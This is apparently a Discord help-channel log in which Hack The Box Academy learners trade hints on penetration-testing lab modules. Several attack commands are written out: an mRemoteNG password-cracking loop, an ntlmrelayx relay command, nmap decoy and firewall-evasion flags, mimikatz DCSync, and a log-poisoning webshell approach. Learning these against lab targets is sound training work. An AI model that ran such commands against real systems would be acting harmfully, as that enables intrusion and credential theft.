modules

[pine dagger]

I did have 13. 9 Tier 3, and 4 Tier 4

[acoustic owl]

I still have 13 modules
2x Tier 0
9x Tier III
1x Tier IV

and Attacking Common Applications two sections

[obsidian kettle]

it was in login in brute force it is the first question under service authentication Brute forcing. Here is the whole question: Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag? I was able to login into the SSH server I just cannot find the flag, so I am assuming I have to do something to get to the home.dir but I do not know what

[pine dagger]

Let me guess, the 2 thick client chapters?

[acoustic owl]

Yes 🤪

[pine dagger]

The update to the thick client chapter made things a lot clearer 🙂

[acoustic owl]

I tried yesterday but I am too stupid. I did not make it

[pine dagger]

Which bit did you get stuck on?

[acoustic owl]

I didn't write it down because it didn't work at all.

[tidal mango]

I had a hell of a time with the Exploiting Web Vulnerabilities in Thick_client Apps part... I never did get it to work right

[acoustic owl]

I would have to try it again, but I need enough motivation for that. 🙈

[acoustic owl]

You have found the password and are logged in?
Then list the directory ls

[obsidian kettle]

did ls /home but that got me b.gates and m.gates not the flag, which is why I know I am doing something not correct to get to the home dir

[acoustic owl]

Normally you log in to the home directory.

You can check this with pwd

[obsidian kettle]

when I did that I got /home/b.gates, so i did ls /home/b.gates and got flag.txt and rockyou-10.txt but again no flag for this question. I just do not understand this craazy question

[acoustic owl]

flag.txt does contain the flag you are looking for

cat flag.txt

[obsidian kettle]

OMG thank you

[autumn pilot]

some flags are not wrapped in HTB{flag}

but rather just the value

[obsidian kettle]

I thought my head was going to explode with this question.

I really appreciate the assistance

[dim hound]

is it not possible to install xfreerdp on Parrot OS (HTB version)?

┌──[f0rk@parrot]─[~]
└──╼ $ sudo apt-get install freerdp-x11
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package freerdp-x11 is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  freerdp2-x11

E: Package 'freerdp-x11' has no installation candidate
┌──[f0rk@parrot]─[~]
└──╼ $ sudo apt-get install freerdp2-x11
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 freerdp2-x11 : Depends: libfreerdp-client2-2 (= 2.3.0+dfsg1-2+deb11u1) but 2.10.0+dfsg1-1~bpo11+1 is to be installed

[tidal mango]

did you try installing that dependency? sudo apt install libfreerdp-client2-2

[dim hound]

I did

[acoustic owl]

Try it like so

sudo apt-get install aptitude

sudo aptitude install freerdp2-x11

https://www.reddit.com/r/debian/comments/vcpcpe/cant_install_freerdp_neither_freerdp2x11/

[dim hound]

https://packages.debian.org/bullseye/amd64/libfreerdp-client2-2/download

This is what I am looking at atm

sudo aptitude install freerdp2-x11
The following NEW packages will be installed:
  freerdp2-x11{b} 
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 104 kB of archives. After unpacking 837 kB will be used.
The following packages have unmet dependencies:
 freerdp2-x11 : Depends: libfreerdp-client2-2 (= 2.3.0+dfsg1-2+deb11u1) but 2.10.0+dfsg1-1~bpo11+1 is installed
The following actions will resolve these dependencies:

     Keep the following packages at their current version:
1)     freerdp2-x11 [Not Installed]                       



Accept this solution? [Y/n/q/?] Y
No packages will be installed, upgraded, or removed.
0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B of archives. After unpacking 0 B will be used.
Scanning application launchers           
Removing duplicate launchers or broken launchers
Launchers are updated

Strange is, you don't see a newly installed package

LOL ```bash
sudo dpkg -i libfreerdp-client2-2_2.3.0+dfsg1-2+deb11u1_amd64.deb
dpkg: warning: downgrading libfreerdp-client2-2:amd64 from 2.10.0+dfsg1-1~bpo11+1 to 2.3.0+dfsg1-2+deb11u1
(Reading database ... 450654 files and directories currently installed.)
Preparing to unpack libfreerdp-client2-2_2.3.0+dfsg1-2+deb11u1_amd64.deb ...
Unpacking libfreerdp-client2-2:amd64 (2.3.0+dfsg1-2+deb11u1) over (2.10.0+dfsg1-1~bpo11+1) ...
dpkg: dependency problems prevent configuration of libfreerdp-client2-2:amd64:
libfreerdp-client2-2:amd64 depends on libfreerdp2-2 (= 2.3.0+dfsg1-2+deb11u1); however:
Version of libfreerdp2-2:amd64 on system is 2.10.0+dfsg1-1~bpo11+1.

dpkg: error processing package libfreerdp-client2-2:amd64 (--install):
dependency problems - leaving unconfigured
Processing triggers for libc-bin (2.31-13+deb11u5) ...
Errors were encountered while processing:
libfreerdp-client2-2:amd64

[tidal mango]

I got tired on insatlling tools on Parrot and went back to Kali...

[acoustic owl]

you should say no

[dim hound]

got it ; )

I did bash chmod +x *.deb sudo apt install *.deb

First day using Parrot OS 👀 😂 Got already a good expierence

[golden vortex]

i'm stuck here
Password Attack Lab -Medium
Examine the second target and submit the contents of flag.txt in /root/ as the answer.

i'm in jason user , don't know further , for dennis and root access

[dim hound]

Thanks for the help @acoustic owl @tidal mango , I appreciate it.

[simple zephyr]

for windows priv esc pillaging has anyone gotten this script to work to crack the password. I have the password from other means, just playing with it to figure out what its doing and trying to understand why its not working.

for password in $(cat /usr/share/wordlists/fasttrack.txt);do echo $password; python3 mremoteng_decrypt.py -s "EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/kiakA==" -p $password 2>/dev/null;done 

Of course this is the example one, I even added the password to the wordlist and it still didn't find it.

[dim hound]

You are on the system with ||SSH?||

[golden vortex]

yeah

[dim hound]

check local ports : )

[golden vortex]

||a mysql server is open but i cannot access it with the user jason I get ERROR 1045 (28000): Access denied for user 'jason'@'localhost' ||

[dim hound]

pm me with your command

[wheat spire]

hey

[rustic sage]

hello, I am in "Find the password for the ldapadmin account somewhere on the system" in winPrivEsc assessment one. Does anyone have a hint, ive been looking for quite a while now

[high current]

how do i find the port of a url?

[rustic sage]

Still stuck?
I can change that. Pm me.

[mystic light]

https://academy.hackthebox.com/module/details/35

[radiant marten]

I'm going insane with the Broken Authentication Skills Assessment, any help would be appreciated.. I have the cookie I need from the user I can log in with but when I 'use' that cookie I get User cannot have requested role... I've tried it in repeater as well as dev tools, don't know where to go from here

[high current]

dude can somebody join a vc with me i need help

[fathom pendant]

Dude

Are you doing modules or still trying to help your friend

Because if you're trying to help your friend then ask for help in #community-content and you'll get usually better answers

[mystic light]

i came for the hax; i stayed for @fathom pendant

[fathom pendant]

You haxed my heart bbqgrill

[high current]

does anybody have a birthday wordlist from dates like 01012000-12122010

[fathom pendant]

so you're looking to generate something 01012000 >> 12312000 and repeat until 12122010 (i'm being like this on purpose)

either way; entertaining your off-topic discussion you should REALLY move this to #1024429874246590575 and post your questions there

as they are WHOLLY unrelated to academy content

[steady hawk]

dm if still working on it

[manic magnet]

lul

[rustic sage]

Seems like I hit a nerve

[manic magnet]

😂

[rustic sage]

#583613644294717453 would be a nice place to post private chats

[fathom pendant]

yeah not sure why you're airing your saltiness here

¯_(ツ)_/¯

[manic magnet]

Just think its ridiculous, if you ask for help and then tilt because I don't just give you the full solution

[fathom pendant]

again that's airing saltiness that's not really necessary to do here

[cobalt nebula]

okk

@cobalt nebula

[fathom pendant]

[fathom pendant]

can we help you?

[cobalt nebula]

I am new to this platform

@fathom pendant

[fathom pendant]

Still not asking a question

this channel is about asking questions regarding the modules found on https://academy.hackthebox.com

[cobalt nebula]

Well I m new to everything don't know from where to start things

[fathom pendant]

if you're having questions regarding https://app.hackthebox.com please refer to #rules and #welcome and you'll have access to more parts of the server

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cobalt nebula]

shall i go for this

[fathom pendant]

the https://academy.hackthebox.com/ has many fundamental (tier 0) courses that you can look at and learn from to learn without needing to spend money

[manic magnet]

Sry I was meant for people to know what the get themselves into when the try to help this person. I just move it somewhere to the image channel

[fathom pendant]

all active boxes on the main app site are free

[cobalt nebula]

thank you will sure go for it right now

[manic magnet]

You can start with the "starting-point" stuff

It gives a good intro to how boxes work and different concepts

[cobalt nebula]

where should i filter this @manic magnet

[manic magnet]

sry I misstyped

wait I send you the link in a dm

[cobalt nebula]

thank you

[tepid path]

Thanks

[cobalt nebula]

@fathom pendant thank you for you as well for the resources

[tepid path]

Beginnings in cybersecurity are not at all easy, especially when you are self-taught.

[fathom pendant]

yep

self taught myself and i don't know shit

[manic magnet]

Even as a person that is at university for this stuff I feel like I know shit 😂

[fringe surge]

Incorrect information in web requests module

[tight glen]

Anyone working on the new windows module?

Module: Windows Attacks & Defense -- Kerberroasting

First task runs into issues with the given parrot vm

[rustic sage]

Attacking common services - hard lab has been solved!
If anyone needs hints they can read this:
https://forum.hackthebox.com/t/attacking-common-services-hard/259742/30

Additionally if anyone gets stuck on this module, you can dm me, I will be more than happy to help 🙂

[keen folio]

Can I DM someone for DNS footprinting question 4? What is the FQDN of the host where the last octet ends with "x.x.x.203"? I have performed two zone transfers and found a bunch of domain names. All attempts to brute force a subdomain from any of the domains I have found have returned no additional results. Could I have a hint as to where to look for the answer?

[rustic sage]

You can dm me

[fathom pendant]

Subdomains of subdomains

[rustic sage]

subdomainception

[paper gust]

that's going to be potentially difficult to solve but there's a few things you can try

the core issue there is that your CPU is being picked up as "generic" by POCL

this happens a lot in VMs

and when we receive "generic" as a target, we can't actually complete kernel compilation at this time

[fathom pendant]

pwnbox and hashcat are having issues on the eu-servers rn afaik; the US ones work alright though

note this was info provided by Jared at some point when it first started occurring

[verbal flax]

Is there a limitation of GenericAll on Domain Admins? In one of the labs I first added a user to a group that has Generic All over Domain Admins and then wanted to add the user to Domain Admins. But that fails due to lack of privs.

[manic magnet]

Can confirm, not working here in the EU.

[paper gust]

any chance you know of anyone on the HTB side working to fix that? I may be of some use

[fathom pendant]

the US ones

US 1 and 2 seem to be working from what i've been told

• note I use my own VM running parrotOS so it's not an issue for parrotOS just those instances for some weird reason

[paper gust]

probably older gen or potentially intel CPUs

the problem is that the version of POCL installed doesnt have the specific CPU as a mapped target device

so it cant supply a good compilation target for hashcat

[tight glen]

Ill just work with my cpu for now

🍪

thanks for the answers

[fathom pendant]

again it's something weird on the EU docker instances @west canopy hashcat works fine on the US instances for academy yeah?

[paper gust]

doesnt seem like its anything too weird, just a CPU/runtime miss-match

this happens fairly often

[fathom pendant]

yeah

[tight glen]

how would one fix that?

[manic magnet]

I don't think WE the end-users can fix it

[tight glen]

yeah, i know

i mean how from a admin pov would you fix it

[manic magnet]

Ah ok sry

[manic magnet]

That would be interesting true

[paper gust]

well, in theory you could change out the POCL runtime with one that supports that hardware better

really that's all that's needed

POCL supports many, but not every device and sometimes all thats needed is an update to a more recent version for a device to be better supported

[tight glen]

hehe

[paper gust]

lol, don't trust chatgpt for hashcat stuff

we get enough of that to know its more wrong than right

[tight glen]

Why not, its not a uncommon issue you mentioned

[paper gust]

yes but even in the response you got it's not really giving you relevant asnwers...

we dont have a list of supported CPUs on our website

and OpenCL drivers for GPU arent going to help your CPU lol

it gave good looking answers, but not correct ones

[tight glen]

Ok 🙂

[paper gust]

but yeah, this is just a matter of making sure the computing device and runtime agree with eachother

i've not seen many 3rd gen Epycs w/ POCL under hashcat

[tight glen]

So since hashcat supports the 4090 now, did you see kevnin mittnicks 24x 4090 setup?

[paper gust]

hard to say if that specific model works with POCL or what version

haha yeah i saw it

i cant say i'd do Exactly what he did

but its not terrible, its off the shelf fluidworks hardware

[tight glen]

Pretty sure hes just goofing around

[paper gust]

more money than sense, as they say

[tight glen]

Anyway folks, if you run into issues with hashcat in the Windows Attacks & Defense module, atleast for now, avoid the pwnbox

on eu

[steep wave]

Yo can someone that is much smarter than I am help me out with the VPS hardening section?
https://academy.hackthebox.com/module/87/section/906

[fathom pendant]

but what is your actual question; what is the module and section name? I don't feel like opening the link

"help with this" but what are you actually having trouble with

[steep wave]

Yeah thats fair, basically If I am editing these text files correctly for the SSH config settings.

These bits.

I thought I edited the docs right, but it breaks SSH for some reason

[fathom pendant]

not sure really haven't done that module or at least it doesn't look familiar to me ¯_(ツ)_/¯

but that definitely clarifies what your actual question is

[steep wave]

No worries, I'm just going to re-install the VM and try again lol

[fathom pendant]

breaking things is not fun xD

[tight glen]

What module is that? it looks cool

[steep wave]

Maybe I posted in the wrong channel but its this path

[fathom pendant]

ah linux fundamentals

I haven't bothered with that

[tight glen]

I completed that one, dont think it was to difficult

ahh its been updated

nvm

question didnt ring a bell

[steep wave]

Yeah the general knowledge stuff isn't terrible, just been trying to fix the SSH config issue I am having. But I might have broke the config, idk I am just starting from scratch since I am not too deep

[tight glen]

Sounds like a solid plan my friend

[keen folio]

big shoutout to @rustic sage for helping me with the footprinting: DNS module. I would have been stuck a lot longer if not for his help

much appreciated 👍

[rustic sage]

I am glad I could help. Keep helping others 🙂
Cheers.

[polar skiff]

last 5 parts of linux fundamentls 😴

[west canopy]

Yep we're still working on it

[tidal mango]

In the Active Directory LDAP module LDAP Anonymous Bind section -- The last question is "What OU is the user Kevin Gregory part of (one word, case sensitive, i.e. Marketing)? ". I cannot figure out how to get OU information back with an anonymous bind. Can anyone help me out?

[bright hemlock]

any tips on Identify the username of the user that has a position of 736373 through SQLi. (Web Service and API attacks module).

[paper gust]

are you locked to that type of hardware for the underlying instances?

because that may be the fastest/easiest way to fix it

[west canopy]

Mind if I DM you?

[paper gust]

sure

[agile python]

I wish to grab the first 100 packets with tcpdump which switch will you use ?

I already tried using -c (count) 100

[narrow bridge]

anyone good in java?

[fathom pendant]

http://dontasktoask.com

also #rules #welcome

[narrow bridge]

i'm not lazy i have a problem

but yes i do need help with a problem

[umbral mist]

I'm a little stuck on the "PIVOTING, TUNNELING, AND PORT FORWARDING" Skills Assessment, final question. ||I think I've found the DC on 172.16.10.5 but it's not letting me RDP into it.|| Can I have some tips what to do next?

[mystic light]

feel free to dm

[rustic sage]

head -100?

[agile python]

I'm going to try tomorrow

but i got use it with other switches

-nnvXX

[rustic sage]

After your tcpdump command you need to pipe the output to head which will grab it's first 100 lines.

[rustic sage]

is this specific to tcpdump?

[agile python]

Yep

I was trying with -c but it didn't work

-nnvXXc 100 Like this

but didn't work

[rustic sage]

this might help:

I am not on my machine or I would experiment with it

[agile python]

Ty, but like i said I already tried those switches

[fathom pendant]

you have a problem with reading: is your problem related to an academy module?

the website i linked is about asking your question better instead of "anyone good in java" ask your question more directly

[thorn urchin]

the funny part is that anyone good in java is literally the example used

like that site applies to asking questions in general, but it is most applicable to neo here than it has been to anyone else.

[twin gulch]

Hey, is anyone online and can help with password attacks module hard lab?

[thorn urchin]

https://dontasktoask.com

[twin gulch]

Well, I’m at skill assessment hard lab trying to crack Johanna’s password. Tried with password.list and mut file with no success and moved from hydra to crowbar to crackmapexec.. am I on the right path?

[fathom pendant]

what service are you trying to crack it on

[quasi wave]

hi I am trying to do the if-else statement challenge in intro to bash module in academy and I am getting "bad subsitution" errors and other errors and if someone could help me out that would be great. Here is my code:

#!/bin/bash

var="8dm7KsjU28B7v621Jls"
value="ERmFRMVZ0U2paTlJYTkxDZz09Cg"

in_var=true

for i in { 1..40 }
do
        var=$(echo $var | base64)
        
        if  ( $i in $var ) 
        then
            $in_var=true
        else
            $in_var=false
        fi
done

if $in_var
then
    for i in $var:
    do
        echo $i >> var.txt
    done
    tail -c 20 var.txt
fi

I don't get it. Should I use another for-loop? I need to check if all variables in value are in var. Then if they are I need to print last 20 characters of var if var is greater then 113450 characters.

What am I doing wrong?

can someone help me out?

[small sage]

I know this question is asked a lot, I'm working on the DNS section of the footprinting module, I'm trying to enumerate the subdomains of the subdomains but I'm getting NS record query failed results and I'm not sure how to proceed, anyone available to DM?

[cunning nimbus]

I am trying to do privilege escalation, I am running the http server in the same directory as the linPeas.sh and I am calling it in the victim shell, but i am getting connection timed out, I have tried the tun0 and another ipaddress, but I am getting the same thing for both, so what Ip address should I use?

[prisma wedge]

hi, are there any one accessed as root in busque machine ?

[fathom pendant]

Dnsenum with the right list will get it for you if you give it the right x.inlanefreight.htb subdomain

[fathom pendant]

Read #rules and #welcome

[small sage]

I've been trying with a few lists, I keep getting NS record query failed: Refused, should I be changing the nameserver used with Dnsenum to a different IP than provided?

[fathom pendant]

No

Also if you have inlanefreight.htb in your /etc/hosts file, you're not going to get it

[small sage]

I didn't, so essentially I should just go through all the subdomains that I find from the zone transfer of the domain?

I'm dumb found it thanks 🫡

[quasi wave]

no one wants to give me a hint with my code?

[fathom pendant]

This is not a general chat, read #rules and #welcome

This is normal you're going to use the user/pass with sqlplus as shown in the module

[cunning nimbus]

I was able to connect to the http server for the privilege escalation, but when I download the files, i am getting Read error connection reset by peer, how do I fix that?

[fathom pendant]

dnsenum on all of the subdomains (x.inlanefreight.htb) with a fierce list

[gentle root]

In the module for SMB on common attack services stuff, it talks about forced authentication after getting the password from responder

Then it uses Forced Authentication Attacks
@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
but I am not understand where the authetnication to dumb hashes is coming from here? I don't see hash being passed or password being used

[obsidian cipher]

Hello guys, my mom phone was hacked by remote control i guess? What should i do guys?

[torn violet]

Stuck in the skills assessment of os command injection module

Don't know where to inject the command

Anyone here done with that module ?

[river skiff]

Hi fellows, can someone help with Using Crackmapexec module assessment, I have pwned the SQL server and got couple of sets of credentials, but I cant figure out how to continue with the DEV server, any nudge will be appreciated, thanks 😌

[acoustic owl]

Take a look at the database

[rustic sage]

I need help, my friends account got hacked by another ‘friend’, i only have the hackers number. It happened over Facebook so if someone can tell me what do to, to get it back or to help me I would be really thankful. Facebook support doesn’t help. It happen less than 72h ago. Please tag me, like @ me to get my attention if i don’t respond.

[autumn pilot]

We cannot help you

[leaden quail]

Hi Guys, im working on the Linux Buffer Overflow x 86 module and have i question wehn we compile the c program

gcc bow.c -o bow32 -fno-stack-protector -z execstack -m32

[rustic sage]

Oh no thats sad

[leaden quail]

-o = output file, -fno-stack-protector = disable stack protection -z = for build a executable file and -m32 for 32 bit version

is that correct?

[cinder mortar]

i need help for LOGIN BRUTE FORCING, Service login, ive generated custom password list using ccup and most information i can find abt harry online but i still cant get it to work, looking to get a nudge

[autumn pilot]

have you checked the hint?

[cinder mortar]

oh oops LOL

tried doing it without the hint

lemme try agn

[keen folio]

Wow people are really terrible at asking good questions on this discord. I guess maybe we should have some sort of question template or something

though I wonder if it would ever actually get used

[twin gulch]

Well just gave it another shot at hydra and got an password that’s not working..

[rustic sage]

Morning folks

[rustic sage]

Still stuck?
I can help you out 🙂

[twin gulch]

Yep
Let’s go dm

[night hawk]

Hey have anyone had contact with such an error in Eyewitness

[] Selenium not found.
[] Please run the script in the setup directory!

???

Fixed nvm

[static roost]

#Module: Windows Privilege Escalation
#Section: Communication with Processes
The "Named Pipes" portion mentions Cobalt Strike. I don't see any modules for it on academy, and it looks like you need a license to use it. Is this something I'm going to need for the CPTS? Where/how can I get practice with it?

[odd notch]

in the nmap module it is said that the decoys used with the -D RND:5 option must remain alive. what does that mean?

[manic magnet]

I understand this as that the IP's you use as decoys need to be valid (I guess for example they correspond to real ip's in the network)

Also this can mean that the connection needs to be kept alive. Such that the target does not think it is syn flooded

You can read more about it here:
https://www.ionos.com/digitalguide/server/security/syn-flood/

[odd notch]

I thought so too. it still scrutches my brain a bit. like what if RNG IP is VALID and someone is using it... wouldn't that mean we are essentially using resources that belong to someone else?

let alone masking (potentially) criminal behavior?

I mean pulling soneone that isn't involved in the contract into our test

[manic magnet]

I mean depends on the security mechanism that they have in place. I mean you can just use internal ip's. I guess they more refere to my second explaination

[rustic sage]

Help

[manic magnet]

Like don't use "new" syn's but rather keep the connection alive meaning continuing the already established connection

[manic magnet]

what do you need help with ?

[manic magnet]

I will dm you with more information on that topic if you want

[odd notch]

No it's ok... it's just an intrasting legal question

[manic magnet]

This is from the nmap website:

Note that the hosts you use as decoys should be up or you might accidentally SYN flood your targets. Also it will be pretty easy to determine which host is scanning if only one is actually up on the network. You might want to use IP addresses instead of names (so the decoy networks don't see you in their nameserver logs). Right now random IP address generation is only supported with IPv4

[rustic sage]

Don't know about CPTS part but as part of my CRTO subscription I have access to a lab that has a licensed copy of cobalt strike. I think you need to buy CRTO subscription and then another subscription to access the labs, it will still be cheaper compared to buying cobalt strike.

[acoustic owl]

No, a license from Cobalt Strike is not required for CPTS

[static roost]

@acoustic owl But do I need to be familiar with using Cobalt Strike on the CPTS exam?

[acoustic owl]

nope

[agile python]

If I wish to start a capture without hostname resolution, verbose output, showing contents in ASCII and hex, and grab the first 100 packets; what are the switches used? please answer in the order the switches are asked for in the question.

||-nnvXXc 100||

[rustic sage]

hello guys i want to ask how to hack into a webserver that is outside my network using metasploit

[manic magnet]

elaborate

[agile python]

I don't know what I'm doing wrong

[manic magnet]

Do you get an error ?

[agile python]

yup

[manic magnet]

Can you dm me the error ?

[acoustic owl]

Metasploit is explained here
https://academy.hackthebox.com/module/details/39

[agile python]

but thats the error wym?

[manic magnet]

Didn't you just say that you get an error, when I asked ?

[fringe shell]

anyone able to give me a nudge on the last pivot on the Tunneling, Pivoting module?

[agile python]

it's just a question from the hackthebox academy module

[acoustic owl]

For this question?
Submit the contents of C:\Flag.txt located on the Domain Controller.

[manic magnet]

Ah sry. I thought you asked it in general. Please specify next time that you have problem with a question on a module xD

[agile python]

my bad lmao

[manic magnet]

I haven't done the module yet but maybe specify them in singles like ||-nn -v -XX -c 100|| ?

[agile python]

nope, error

[manic magnet]

I will dm you with another thing I found

[fringe shell]

yeah thats the one... I know the IP is .45 and i got the creds for mlefay and vfrank... but rdp and ssh to .45 aint aorking

am i missing something?

[acoustic owl]

Take a look at the network drives

[fringe shell]

hmmm, i see

[bright hemlock]

academy is down and out. TLS error.

[fleet hull]

What is a science fair topic that would get me a gold medal?

[manic magnet]

wrong channel

[fleet hull]

Oops sorry

[manic magnet]

working again (at least for me)

[quasi wave]

Hi I just wanted to follow up since it seems like no one wants to help me with my BASH code for the intro to BASH module.

hi I am trying to do the if-else statement challenge in intro to bash module in academy and I am getting "bad subsitution" errors and other errors and if someone could help me out that would be great. Here is my code:

#!/bin/bash

var="8dm7KsjU28B7v621Jls"
value="ERmFRMVZ0U2paTlJYTkxDZz09Cg"

in_var=true

for i in { 1..40 }
do
        var=$(echo $var | base64)
        
        if  ( $i in $var ) 
        then
            $in_var=true
        else
            $in_var=false
        fi
done

if $in_var
then
    for i in $var:
    do
        echo $i >> var.txt
    done
    tail -c 20 var.txt
fi

I don't get it. Should I use another for-loop? I need to check if all variables in value are in var. Then if they are I need to print last 20 characters of var if var is greater then 113450 characters.

What am I doing wrong?

[hazy minnow]

Need some help, don't know why I can't wrap my head around this.. I need to get a file onto a computer that I have used chisel to proxy to. My attack computer is chisel'd thru a 10.129.x.x host to a 172.16.x.x host. the 10.129.x.x host obviously has a 172.16.x.x interface and I'm able to RDP to the third device. How do I get a file thru the chain to the third device in the chain?

[rustic sage]

ChatGPT might be helpful, have you tried it?

hey guys, i'm having difficulty with the nmap service enumeration medium lab in regards to grabbing the DNS version

i'm aware that port udp port 53 is open, however whenever i attempt to connect with nc whether it's from source port 53 or not onto udp port 53 it just doesn't display anything

any tips?

[fiery berry]

add verbose

[rustic sage]

wat

doesnt that just show the ports when they become available

oh

[honest plover]

does anyone finished Coder machine ?

[rustic sage]

@fiery berry i get the same result as my normal nmap scan

[acoustic owl]

use NSE

[rustic sage]

it gives me NLnet Labs NSD

can i get the service with using exclusively nmap?

or is nc involved

[acoustic owl]

https://nmap.org/book/man-nse.html

[fiery berry]

sorry haven't seen that is for the medium lab

[rustic sage]

yeah payload i've ran a few scripts from NSE

let me try again

[fiery berry]

I didn't use any nse though

[rustic sage]

cant remember if i specified to run it on udp as opposed to tcp

[fiery berry]

just a scan with the right arguments will do as well

[rustic sage]

this is painful

i can't get it at all

hmm

what am i missing

[fiery berry]

@rustic sage dm

[acoustic owl]

Did you solve it without NSE scripts

[fiery berry]

yes

[acoustic owl]

Can I send you a DM?

[fiery berry]

sure

[elfin nacelle]

Can someone please help me with the Module: File Inclusion. Section: Log Poisoning. Question: "Use any of the techniques covered in this section to gain RCE, then submit the output of the following command: pwd". My issue is that I receive a 500 internal service error when trying to replace the user agent value with a simple php webshell. Can someone please assist?

[acoustic owl]

Has anyone finished the Windows Attacks & Defense module?
I'm stuck in the PKI - ESC1 section on the second question.

" After performing the ESC1 attack, connect to PKI (172.16.18.15) as 'htb-student:HTB_@cademy_stdnt!' and look at the logs. On what date was the very first certificate requested and issued? "

Actually I think it should be quite simple.
But I am missing something. My answer is not accepted.

|| Both IDs 4668 and 4667 have the first entry on 12/19/2022. ||
But this answer is not accepted

[elfin pier]

Has anyone completed the hackthebox academy file upload skill assessment and can hmu with a hint?
I'm 3 hours on this and haven't figured it out

[acoustic owl]

There are double quotes in the log. You will break the log if you use double quotes for your payload.

[analog tendon]

anyone thats done the file upload attacks assessment able to assist? i think i was able to get my payload uploaded but unable to to get the file location. and im not sure where i can put an xxe payload thatll work to get the php code

[gentle root]

Anyone assist with this?

[static roost]

#Module: Windows Privilege Escalation
#Section: Communication with Processes
Named Pipes Attack Examples
Module has been great so far. I'm under the impression that I should be able to accomplish these escalations manually. Though the only link provided is to a metasploit module. Is this sufficient, or should I learn to do this manually? If I should do it manually, where/how can I learn about named pipe usage in windows; google searches offer decent examples, but not much feed back into errors/specific use cases.

[odd notch]

SUS.com

<@&861185840277487616>

[vast lotus]

?

q pasa

what's up

[analog tendon]

get out of here with that.

[gentle root]

Damnit I missed it

[elfin nacelle]

Can I dm you?

[acoustic owl]

sure

[analog tendon]

well i was able to get the flag after a bit of cheesing but i still dont know how to get the xxe payload to work on the assessment with it being reflected back the way that it is

would anyone be able to explain this to me since it wasnt a huge part of the module

[valid sinew]

Hi Guys

So i am doing module Public Exploits

I have done a metasploit search for the wordpress plugin and found

auxiliary/scanner/http/wp_simple_backup_file_read normal No WordPress Simple Backup File Read Vulnerability

I am guessing this is the correct one.

I set the rhost ok to the ip address of the web server ok

When i go to set the LHOST to tune0

I get the following error

Unknown datastore option: LHOST. Did you mean VHOST?

If anyone can help with this one would really be gratful.

Many Thanks

Kapz

[red current]

I'm in the Active Directory Enumeration and Attacks module and getting an error when trying to install secretsdump.py. It gives the error of "not found". I'm using $ git clone URL of repository and getting this fatal repository error. Has anyone else seen that?

[acoustic owl]

try impacket-secretsdump

[fathom pendant]

Not tune0, tun0

But also this exploit does not have an LHOST option

[red current]

Thank you! That was very helpful.

[rustic sage]

type options and see if lhost is really an option, in case of most web exploits a reverse shell is not necessary because you will get a web shell

[elfin pier]

Can i dm you?

[fathom pendant]

This exploit is a file read exploit, no shell

[rustic sage]

Thanks for pointing that out, I hope it's resolved on their end.

[fathom pendant]

It's just they probably wanted to set all options and didnt execute or run it

[analog tendon]

Sure

[kind laurel]

Do anybody here have experience in extracting files with volatility3? Command I tried did not work, An example: python3 vol.py -f image-file windows.dumpfiles --pid 216 -D /tmp/ ,also tried ..... windows.dumpfiles -o <memory address> -r filename-to-dump.pdf.lnk -D /tmp/

[fathom pendant]

What module is this for?

[kind laurel]

forensics

wrong place?

[fathom pendant]

Is it a module called forensics?

If not then read #rules and #welcome for how to access other parts of the server and be able to post your question in the relevant place

[final python]

If you are having issues with the file inclusion module, feel free to send me a message.

[misty gale]

Bees nuts

[red current]

I'm in the Active Directory Enumeration and Attacks module in the DCSync section and could use some guidance. I realize that I need to set up a tunnel to the Domain Controller, but everything I've tried thus far has failed. Any hints on this?

[odd notch]

Ok the final nmap practice is beating me... I tried stealth scan, simple scan, UDP scan, and now I'm trying ACK scan which is taking FOREVER. I think I just didn't understand the question and situation. anyone care to elaborate and explain what is going on there?

[fathom pendant]

The nmap hard assessment?

[odd notch]

yes

[fathom pendant]

Follow the IDS/IPS evasion section

[odd notch]

Ok but why? how could I have guessed that?

[fathom pendant]

Because up until this one you haven't needed to really put that section to use

And it was introduced prior to the assessments

[odd notch]

that's not what...

ok

[fathom pendant]

If you're asking about the port try doing a scan with --source-port 53 iirc that gets you the mystery one

[manic magnet]

I mean the labs easy to hard in the nmap module are all about IDS/IPS Evasion.

[fathom pendant]

Yes

But not really

The easy/med do not require any evade techniques

The hard is where it pops more

[manic magnet]

Yeah, I know but what I mean is that they are all in the subsection of IDS/IPS Evasion:

[fathom pendant]

Technically under subsection "bypass security measures"

[manic magnet]

yeah ok xD

[fathom pendant]

But I'm saying this as someone who's sanity checked this module many times

Also according to Jared the lineup is intentional

Which isn't uncommon in modules

[odd notch]

Well I tried --source-port 53 with -sT and -sA. I'm not banned from the service... I get ssh and http. both aren't the answers. I have no idea.

wait.. one last try

[fathom pendant]

The ban is a few minutes

I've given you the info on how to get what you're looking for

[odd notch]

I honestly have no idea... i need the reasoning I feel like I'm shooting in the dark.

[manic magnet]

https://academy.hackthebox.com/module/19/section/106

There is some more stuff on this section of the module that you didn't mention that you tried. Try reading it again. Maybe you will find some more stuff to use 😉

[fathom pendant]

Just... Read the section it tells you EVERYTHING

can't say much more without spoiling

[odd notch]

I didn't try choosing dns server, as it seems there isn't one... I didn't try designating an interface.

[red current]

I'm using mimikatz as described in this section and I'm getting an error of ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439) instead of giving me the hashes as described. Any idea why I'm getting this strange error?

[manic magnet]

Remember that you can also chain the evasion techniques

[fathom pendant]

Just try everything that gives a positive output in the examples

[steady hawk]

That error is for not running Mimikatz with elevated privileges. Are you running it from an elevated command prompt?

[red current]

Yes, thank you for letting me know. I'll try it without elevated privileges.

[red current]

Nope, still getting that same error even running it with standard creds.

[steady hawk]

Then you need to get Admin creds somehow. Or a user that is able to replicate directory changes.

[red current]

Got it! Thank you!

[manic magnet]

